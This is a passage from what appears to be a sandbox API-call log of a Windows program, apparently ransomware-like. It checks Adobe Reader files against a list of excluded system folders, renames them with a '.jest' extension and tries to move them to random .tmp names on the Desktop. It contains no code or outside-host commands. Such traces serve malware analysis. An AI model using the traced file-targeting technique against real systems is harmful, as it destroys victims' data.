(normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm.jest")) returned 1 [0156.160] GetLastError () returned 0x0 [0156.160] VarBstrFromR4 (in: fltIn=0x479452ec, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.84") returned 0x0 [0156.161] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehun.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jNDfdZz4KH-j0 elCnQ08pkv9qB97kSQI5ytcp1XUzwsG0MoMLThl3aJJG-ORb8Ho_UJM6 d6cyJpInzZyplZkU7_0CnBtCrdL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jndfdzz4kh-j0 elcnq08pkv9qb97ksqi5ytcp1xuzwsg0momlthl3ajjg-orb8ho_ujm6 d6cyjpinzzyplzku7_0cnbtcrdl.tmp")) returned 0 [0156.161] GetLastError () returned 0x2 [0156.162] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm") returned 0x37 [0156.162] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.162] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm") returned 0x37 [0156.162] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.162] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm") returned 0x37 [0156.162] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.162] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm") returned 0x37 [0156.163] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.163] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm") returned 0x37 [0156.163] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.163] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm") returned 0x37 [0156.163] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.163] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.163] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.163] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.163] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.163] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.164] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm.jest")) returned 1 [0156.165] GetLastError () returned 0x0 [0156.165] VarBstrFromR4 (in: fltIn=0x479452ee, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.86") returned 0x0 [0156.166] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecze.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NSPPATArFYt-rG8DMTAkS8kr98mpNQFOotcT_pODAukt0BqisU3rzqLRxhjRoQfiWmtvIdZZnX-dXCoj6Az6IN_QhD5tPKrMQuCM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nsppatarfyt-rg8dmtaks8kr98mpnqfootct_podaukt0bqisu3rzqlrxhjroqfiwmtvidzznx-dxcoj6az6in_qhd5tpkrmqucm.tmp")) returned 0 [0156.166] GetLastError () returned 0x2 [0156.167] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm") returned 0x37 [0156.167] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.167] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm") returned 0x37 [0156.167] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.167] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm") returned 0x37 [0156.167] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.167] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm") returned 0x37 [0156.168] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.168] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm") returned 0x37 [0156.168] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.168] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm", cchLength=0x37 | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm") returned 0x37 [0156.168] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.168] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.168] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.168] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.168] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.168] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.169] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm.jest")) returned 1 [0156.170] GetLastError () returned 0x0 [0156.170] VarBstrFromR4 (in: fltIn=0x479452ee, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.86") returned 0x0 [0156.171] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmehrv.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bO_IHbGdC7-afDfQIqZ6u8_xu9mV9k9sHTEWKAQPFBYW4Z1Uw8R8IRrGA3kLL-m tt6EkZX1w9II9KljY5Er5kCIWVcVHZqYDm09.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bo_ihbgdc7-afdfqiqz6u8_xu9mv9k9shtewkaqpfbyw4z1uw8r8irrga3kll-m tt6ekzx1w9ii9kljy5er5kciwvcvhzqydm09.tmp")) returned 0 [0156.171] GetLastError () returned 0x2 [0156.172] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf") returned 0x4c [0156.172] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.172] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf") returned 0x4c [0156.172] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.172] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf") returned 0x4c [0156.172] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.173] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf") returned 0x4c [0156.173] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.173] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf") returned 0x4c [0156.173] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.173] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf") returned 0x4c [0156.173] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.173] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.173] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.173] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.173] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.174] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.174] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf.jest")) returned 1 [0156.178] GetLastError () returned 0x0 [0156.178] VarBstrFromR4 (in: fltIn=0x479452ee, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.86") returned 0x0 [0156.179] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DpyOPB7I-xBov-ocjehTkOIEN bf275QDbea8-I9eZPcB6f1xEdjvDzsUPFespVH2jqrwe09VPARr0WPRrLpo48FQdkUon23EH2QC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dpyopb7i-xbov-ocjehtkoien bf275qdbea8-i9ezpcb6f1xedjvdzsupfespvh2jqrwe09vparr0wprrlpo48fqdkuon23eh2qc.tmp")) returned 0 [0156.180] GetLastError () returned 0x2 [0156.180] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf") returned 0x4e [0156.180] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.180] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf") returned 0x4e [0156.181] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.181] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf") returned 0x4e [0156.181] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.181] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf") returned 0x4e [0156.181] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.181] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf") returned 0x4e [0156.181] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.181] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf") returned 0x4e [0156.182] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.182] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.182] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.182] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.182] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.182] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.183] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf.jest")) returned 1 [0156.184] GetLastError () returned 0x0 [0156.185] VarBstrFromR4 (in: fltIn=0x479452f0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.88") returned 0x0 [0156.186] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Md1xluLH1N3oeXB8gNlAU_fxKF5RILGv71D0YGJe68P9Zj5y6N wEvol9G_u3gd63QWq qT_cpHo3wct7MxGrGkwoJ9DRsJhBB 2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\md1xlulh1n3oexb8gnlau_fxkf5rilgv71d0ygje68p9zj5y6n wevol9g_u3gd63qwq qt_cpho3wct7mxgrgkwoj9drsjhbb 2.tmp")) returned 0 [0156.186] GetLastError () returned 0x2 [0156.186] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf") returned 0x4e [0156.186] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.187] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf") returned 0x4e [0156.187] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.187] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf") returned 0x4e [0156.187] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.187] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf") returned 0x4e [0156.187] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.187] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf") returned 0x4e [0156.187] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.187] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf", cchLength=0x4e | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf") returned 0x4e [0156.188] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.188] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.188] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.188] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.188] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.188] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.189] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf.jest")) returned 1 [0156.191] GetLastError () returned 0x0 [0156.192] VarBstrFromR4 (in: fltIn=0x479452f0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.88") returned 0x0 [0156.193] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kWE3zmduPakkvDoL728gf_xGS5Zi9vdqlfkAyjESG1RduFifJ-bQSHVMTfMMs54sL8y2V92ljdX8oSdp7Yki5M yCc1dm_mQckP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kwe3zmdupakkvdol728gf_xgs5zi9vdqlfkayjesg1rdufifj-bqshvmtfmms54sl8y2v92ljdx8osdp7yki5m ycc1dm_mqckp.tmp")) returned 0 [0156.193] GetLastError () returned 0x2 [0156.193] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf") returned 0x4c [0156.193] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0156.193] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf") returned 0x4c [0156.194] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0156.194] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf") returned 0x4c [0156.194] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0156.194] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf") returned 0x4c [0156.194] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0156.194] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf") returned 0x4c [0156.194] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0156.194] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf", cchLength=0x4c | out: lpsz="c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf") returned 0x4c [0156.195] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0156.195] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.195] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.195] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.195] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.195] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | 